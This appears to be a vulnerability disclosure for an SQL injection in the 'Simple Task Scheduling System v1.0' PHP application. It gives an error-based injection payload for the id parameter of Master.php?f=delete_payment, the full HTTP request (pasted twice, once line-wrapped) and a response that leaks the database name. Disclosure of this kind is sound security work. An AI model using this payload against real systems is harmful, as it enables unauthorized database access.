

Simple Task Scheduling System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15328/simple-task-scheduler-system-phpoop-free-source-code.html

The program is built using the xmapp-php5.6 version

Vulnerability File: /tss/classes/Master.php?f=delete_payment

Vulnerability location: /tss/classes/Master.php?f=delete_payment, id

You need to first create the library by executing the following sql statement in the database tss_db

```
CREATE TABLE `payment_list` (
   `id` int(30) NOT NULL,
   `user_id` int(30) NOT NULL,
   `name` text NOT NULL,
   `status` tinyint(1) NOT NULL DEFAULT '1',
   `delete_flag` tinyint(1) NOT NULL DEFAULT '0',
   `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
   `date_updated` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMES
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
```

db_name = tss_db;length=6

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak
place ---> id

POST /tss/classes/Master.php?f=delete_payment HTTP/1.1
 Host: 192.168.1.19
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
 DNT: 1
 Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=tc6akb10bh652defck09t9eug4
 Connection: close
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 67

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

POST
/tss/classes/Master.php?f=delete_payment
HTTP/1.1
HOST: 192.168.1.19
USer-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html, application/xhtml+xml,application
/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107;
PHPSESSID=tc6akbl0bh652defck09t9eug4
Connection: close
Content-Type:
application/x-www-form-urlencoded
Content-Length: 65
id=3' and updatexml(1,concat(0x7e,(select
database()),0x7e),0)--+

HTTP/1.1 200 OK
Date: Sun, 17 Jul 2022 09:28:54 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 60
Connection: close
Content-Type: text/html; charset=UTF-8
{"status": "failed", "error": "XPATH syntax error: '~tss_db~'"}